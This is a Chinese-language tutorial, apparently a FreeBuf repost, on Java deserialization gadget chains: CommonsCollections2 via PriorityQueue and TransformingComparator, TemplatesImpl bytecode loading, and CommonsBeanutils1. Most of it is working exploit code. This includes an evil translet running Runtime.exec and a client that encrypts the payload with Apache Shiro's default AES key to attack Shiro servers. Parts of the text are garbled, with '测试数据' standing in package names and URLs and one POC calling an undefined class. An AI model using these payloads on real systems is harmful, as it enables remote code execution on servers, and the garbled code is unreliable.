java_PriorityQueue
java.util.PriorityQueue 是一个优先队列(Queue),节点之间按照优先级大小排序成一棵树。其中PriorityQueue有自己的readObject反序列化入口。
反序列化链为:PriorityQueue#readObject->heapify()->siftDown()->siftDownUsingComparator()->comparator测试数据pare()。当comparator为TransformingComparator对象时,能触发transform()方法:
至于PriorityQueue的heapify()、siftDown()、siftDownUsingComparator()的用处就是恢复排序、节点下移和比较元素大小。而Comparator则是定义了两个对象用什么方式比较
CC2TransformingComparator
结合CC2的利用方式,就是向TransformingComparator传入恶意Transformer。
Comparator comparator = new TransformingComparator ( transformerChain ) ;
再用priorityQueue触发comparator:
PriorityQueue queue = new PriorityQueue ( 2 , comparator ) ; queue .add ( 1 ) ; queue .add ( 2 ) ;
可以add任何非null对象,因为触发transform与队列参数无关(比较的是1,2,比较方式为comparator测试数据pare())
POC:package org .example ; import java .io .ByteArrayInputStream ; import java .io .ByteArrayOutputStream ; import java .io .ObjectInputStream ; import java .io .ObjectOutputStream ; import java .lang .reflect .Field ; import java .util .Comparator ; import java .util .PriorityQueue ; import org .apache 测试数据mons .collections4 .Transformer ; import org .apache 测试数据mons .collections4 .functors .ChainedTransformer ; import org .apache 测试数据mons .collections4 .functors .ConstantTransformer ; import org .apache 测试数据mons .collections4 .functors .InvokerTransformer ; import org .apache 测试数据mons .collections4 测试数据parators .TransformingComparator ; public class CC2TransformingComparator { public static void setFieldValue ( Object obj , String fieldName , Object value ) throws Exception { Field field = obj .getClass ( ) .getDeclaredField ( fieldName ) ; field .setAccessible ( true ) ; field .set ( obj , value ) ; } public static void main ( String [ ] args ) throws Exception { Transformer [ ] fakeTransformers = new Transformer [ ] { new ConstantTransformer ( 1 ) } ; Transformer [ ] transformers = new Transformer [ ] { new ConstantTransformer ( Runtime .class ) , new InvokerTransformer ( "getMethod" , new Class [ ] { String .class , Class [ ] .class } , new Object [ ] { "getRuntime" , new Class [ 0 ] } ) , new InvokerTransformer ( "invoke" , new Class [ ] { Object .class , Object [ ] .class } , new Object [ ] { null , new Object [ 0 ] } ) , new InvokerTransformer ( "exec" , new Class [ ] { String .class } , new String [ ] { "calc.exe" } ) , } ; Transformer transformerChain = new ChainedTransformer ( fakeTransformers ) ; Comparator comparator = new TransformingComparator ( transformerChain ) ; PriorityQueue queue = new PriorityQueue ( 2 , comparator ) ; queue .add ( 1 ) ; queue .add ( 2 ) ; setFieldValue ( transformerChain , "iTransformers" , transformers ) ; ByteArrayOutputStream barr = new ByteArrayOutputStream ( ) ; ObjectOutputStream oos = new ObjectOutputStream ( barr ) ; oos .writeObject ( queue ) ; oos .close ( ) ; System .out .println ( barr ) ; ObjectInputStream ois = new ObjectInputStream ( new ByteArrayInputStream ( barr .toByteArray ( ) ) ) ; Object o = ( Object ) ois .readObject ( ) ; } }
测试结果:
TemplatesImpl无数组TransformingComparator
用TemplatesImpl字节码的方式也能进行利用,并且还能用于shiro的无数组链:
同样的向TransformingComparator传入恶意Transformer,这次传的是InvokerTransformer,而非transformerChain数组
Comparator comparator = new TransformingComparator ( transformer ) ;
触发comparator的方式还是实例化PriorityQueue对象
PriorityQueue queue = new PriorityQueue ( 2 , comparator ) ; queue .add ( obj ) ; queue .add ( obj ) ;
为什么要传TemplatesImpl的对象obj呢?回想在没有ConstantTransformer初始化对象的情况下,shiro反序列化是依靠TiedMapEntry的构造函数把初始化对象传入key
TiedMapEntry的hashcode调用了getValue,getValue触发lazyMap.get()
但是在使用PriorityQueue类时,就无法用到shiro的入口HashMap,自然整条链都用不了。进入templatesImpl对象的newTransformer()入口的方式变为:
PriorityQueue#Compare()->TransformingComparator#transform->InvokerTransformer->TemplatesImpl#newTransformer()
只需要compare()时对象为恶意InvokerTransformer
恶意字节码类:
package evil ; import com .sun .org .apache .xalan .internal .xsltc .DOM ; import com .sun .org .apache .xalan .internal .xsltc .TransletException ; import com .sun .org .apache .xalan .internal .xsltc .runtime .AbstractTranslet ; import com .sun .org .apache .xml .internal .dtm .DTMAxisIterator ; import com .sun .org .apache .xml .internal .serializer .SerializationHandler ; public class EvilTemplatesImpl extends AbstractTranslet { public void transform ( DOM document , SerializationHandler [ ] handlers ) throws TransletException { } public void transform ( DOM document , DTMAxisIterator iterator , SerializationHandler handler ) throws TransletException { } public EvilTemplatesImpl ( ) throws Exception { super ( ) ; System .out .println ( "Hello TemplatesImpl" ) ; Runtime .getRuntime ( ) .exec ( "calc.exe" ) ; } }
POC:
package org .example ; import com .sun .org .apache .xalan .internal .xsltc .trax .TemplatesImpl ; import com .sun .org .apache .xalan .internal .xsltc .trax .TransformerFactoryImpl ; import javassist .ClassPool ; import javassist .CtClass ; import org .apache 测试数据mons .collections4 .Transformer ; import org .apache 测试数据mons .collections4 测试数据parators .TransformingComparator ; import org .apache 测试数据mons .collections4 .functors .InvokerTransformer ; import java .io .ByteArrayInputStream ; import java .io .ByteArrayOutputStream ; import java .io .ObjectInputStream ; import java .io .ObjectOutputStream ; import java .lang .reflect .Field ; import java .util .Comparator ; import java .util .PriorityQueue ; public class ShiroTransformingComparator { public static void setFieldValue ( Object obj , String fieldName , Object value ) throws Exception { Field field = obj .getClass ( ) .getDeclaredField ( fieldName ) ; field .setAccessible ( true ) ; field .set ( obj , value ) ; } protected static byte [ ] getBytescode ( ) throws Exception { ClassPool pool = ClassPool .getDefault ( ) ; CtClass clazz = pool .get ( evil .EvilTemplatesImpl .class .getName ( ) ) ; return clazz .toBytecode ( ) ; } public static void main ( String [ ] args ) throws Exception { TemplatesImpl obj = new TemplatesImpl ( ) ; setFieldValue ( obj , "_bytecodes" , new byte [ ] [ ] { getBytescode ( ) } ) ; setFieldValue ( obj , "_name" , "HelloTemplatesImpl" ) ; setFieldValue ( obj , "_tfactory" , new TransformerFactoryImpl ( ) ) ; Transformer transformer = new InvokerTransformer ( "toString" , null , null ) ; Comparator comparator = new TransformingComparator ( transformer ) ; PriorityQueue queue = new PriorityQueue ( 2 , comparator ) ; queue .add ( obj ) ; queue .add ( obj ) ; setFieldValue ( transformer , "iMethodName" , "newTransformer" ) ; ByteArrayOutputStream barr = new ByteArrayOutputStream ( ) ; ObjectOutputStream oos = new ObjectOutputStream ( barr ) ; oos .writeObject ( queue ) ; oos .close ( ) ; System .out .println ( barr ) ; ObjectInputStream ois = new ObjectInputStream ( new ByteArrayInputStream ( barr .toByteArray ( ) ) ) ; Object o = ( Object ) ois .readObject ( ) ; } }
在4.1和3.2.2更新了FunctorUtils#checkUnsafeSerialization,3.2.2默认情况下会检测常见危险transformer(InstantiataTransformer、InvokerTransformer、PrototypeFactory等)的readObject进行调用,4.1这几个类直接不再实现Serilalizable接口
CommonsBeanutil
javaBean的介绍:https://HdhCmsTestliaoxuefeng测试数据/wiki/1252599548343744/1260474416351680
从中可以了解到getter、setter、属性的概念。
在上文,我们用PriorityQueue#compare()来触发TransformingComparator#transform()。除了这种方式外,还有org.apache测试数据mons.beanutils.BeanComparator测试数据pare()
BeanComparator测试数据pare()方法代码如下:
其中的getProperty方法可以调用任意javaBean的getter方法(形如
getName)。
Object value1 = PropertyUtils.getProperty(o1,this.property);
该方法甚至可以递归查询:PropertyUtils.getProperty(o1,"o2.name");
现在反序列化链为:
BeanComparator#compara()->PropertyUtils.getProperty()->TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
getOutputProperties()符合getter的定义,所以property(属性名)的值为OutputProperties时,触发反序列化链。PriorityQueue队列和property的值可以用反射的方式修改。
setFieldValue ( comparator , "property" , "outputProperties" ) ; setFieldValue ( queue , "queue" , new Object [ ] { obj , obj } ) ;
POC:
package org .example ; import java .io .ByteArrayInputStream ; import java .io .ByteArrayOutputStream ; import java .io .ObjectInputStream ; import java .io .ObjectOutputStream ; import java .lang .reflect .Field ; import java .util .PriorityQueue ; import com .sun .org .apache .xalan .internal .xsltc .trax .TemplatesImpl ; import com .sun .org .apache .xalan .internal .xsltc .trax .TransformerFactoryImpl ; import javassist .ClassPool ; import org .apache 测试数据mons .beanutils .BeanComparator ; public class CommonsBeanutils1 { public static void setFieldValue ( Object obj , String fieldName , Object value ) throws Exception { Field field = obj .getClass ( ) .getDeclaredField ( fieldName ) ; field .setAccessible ( true ) ; field .set ( obj , value ) ; } public static void main ( String [ ] args ) throws Exception { TemplatesImpl obj = new TemplatesImpl ( ) ; setFieldValue ( obj , "_bytecodes" , new byte [ ] [ ] { ClassPool .getDefault ( ) .get ( evil .EvilTemplatesImpl .class .getName ( ) ) .toBytecode ( ) } ) ; setFieldValue ( obj , "_name" , "godown" ) ; setFieldValue ( obj , "_tfactory" , new TransformerFactoryImpl ( ) ) ; BeanComparator comparator = new BeanComparator ( ) ; PriorityQueue < Object > queue = new PriorityQueue < Object > ( 2 , comparator ) ; // stub data for replacement later queue .add ( 1 ) ; queue .add ( 1 ) ; setFieldValue ( comparator , "property" , "outputProperties" ) ; setFieldValue ( queue , "queue" , new Object [ ] { obj , obj } ) ; ByteArrayOutputStream barr = new ByteArrayOutputStream ( ) ; ObjectOutputStream oos = new ObjectOutputStream ( barr ) ; oos .writeObject ( queue ) ; oos .close ( ) ; System .out .println ( barr ) ; ObjectInputStream ois = new ObjectInputStream ( new ByteArrayInputStream ( barr .toByteArray ( ) ) ) ; Object o = ( Object ) ois .readObject ( ) ; } }
那么这条链跟上面那个只用到了priorityQueue的区别在哪?
好像只是反序列化的入口从newInstance变成了getOutputProperties?
正是因为不再需要newInstance作为入口,也就不再需要Invokertransformer进行调用。也就是
PriorityQueue#Compare()->TransformingComparator#transform->InvokerTransformer->TemplatesImpl#newTransformer()这段过程可以全部舍弃掉,转而换成:
PriorityQueue#compare()->BeanComparator#compare()->PropertyUtils.getProperty()->TemplatesImpl#getOutputProperties()
因此3.2.2和4.1就能开心的拿着这个payload去打
不需要CC库的shiroCommonBeanutils
shiro本身依赖commons-beautils库。所以上面的payload可以直接改造用来打shiro。
如果本地commons-beanutils和服务器shiro的CB版本不一样的话,serialVersionUID就会不同,也就不兼容。也就是打的时候需要把本地commons-beanutils改成和服务器一样的版本
那服务端没有commons-collections库的时候呢?
在new BeanComparator时,BeanComparator构造函数使用了ComparableComparator
而这个类来自commons.collections,所以要避开使用这个缺省参数。也就是要找到一个类有comparator接口和serializable接口
CaseInsensitiveComparator不仅实现了上面两个接口,还在java.lang.String下。而且用getOutputProperties的方式调用是不需要用到恶意comparator的,只需要恶意property
所以修改Beancomparator初始化时的参数为CaseInsensitiveComparator的对象就行了:
final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
POC:
package org .example ; import com .sun .org .apache .xalan .internal .xsltc .trax .TemplatesImpl ; import com .sun .org .apache .xalan .internal .xsltc .trax .TransformerFactoryImpl ; import org .apache 测试数据mons .beanutils .BeanComparator ; import java .io .ByteArrayOutputStream ; import java .io .ObjectOutputStream ; import java .lang .reflect .Field ; import java .util .PriorityQueue ; public class ShiroCommonsBeanutils1 { public static void setFieldValue ( Object obj , String fieldName , Object value ) throws Exception { Field field = obj .getClass ( ) .getDeclaredField ( fieldName ) ; field .setAccessible ( true ) ; field .set ( obj , value ) ; } public byte [ ] getPayload ( byte [ ] clazzBytes ) throws Exception { TemplatesImpl obj = new TemplatesImpl ( ) ; setFieldValue ( obj , "_bytecodes" , new byte [ ] [ ] { clazzBytes } ) ; setFieldValue ( obj , "_name" , "HelloTemplatesImpl" ) ; setFieldValue ( obj , "_tfactory" , new TransformerFactoryImpl ( ) ) ; final BeanComparator comparator = new BeanComparator ( null , String .CASE_INSENSITIVE_ORDER ) ; final PriorityQueue < Object > queue = new PriorityQueue < Object > ( 2 , comparator ) ; // stub data for replacement later queue .add ( "1" ) ; queue .add ( "1" ) ; setFieldValue ( comparator , "property" , "outputProperties" ) ; setFieldValue ( queue , "queue" , new Object [ ] { obj , obj } ) ; // ================== // 生成序列化字符串 ByteArrayOutputStream barr = new ByteArrayOutputStream ( ) ; ObjectOutputStream oos = new ObjectOutputStream ( barr ) ; oos .writeObject ( queue ) ; oos .close ( ) ; return barr .toByteArray ( ) ; } }
转字节码打shiro poc:
package org .example ; import javassist .ClassPool ; import javassist .CtClass ; import org .apache .shiro .crypto .AesCipherService ; import org .apache .shiro .util .ByteSource ; public class Clientattack { public static void main ( String [ ] args ) throws Exception { ClassPool pool = ClassPool .getDefault ( ) ; CtClass clazz = pool .get ( org .example .ShiroCommonsBeanutils1 .class .getName ( ) ) ; byte [ ] payloads = new CommonsCollectionsShiro ( ) .getPayload ( clazz .toBytecode ( ) ) ; AesCipherService aes = new AesCipherService ( ) ; byte [ ] key = java .util .Base64 .getDecoder ( ) .decode ( "kPH+bIxk5D2deZiIxcaaaA==" ) ; ByteSource ciphertext = aes .encrypt ( payloads , key ) ; System .out .printf ( ciphertext .toString ( ) ) ; } }
参考:phith0n《java安全漫谈(16、17)》
原文地址:https://HdhCmsTestfreebuf测试数据/vuls/351788.html
查看更多关于Java 利用PriorityQueue进行无InvokerTransformer反序列化的详细内容...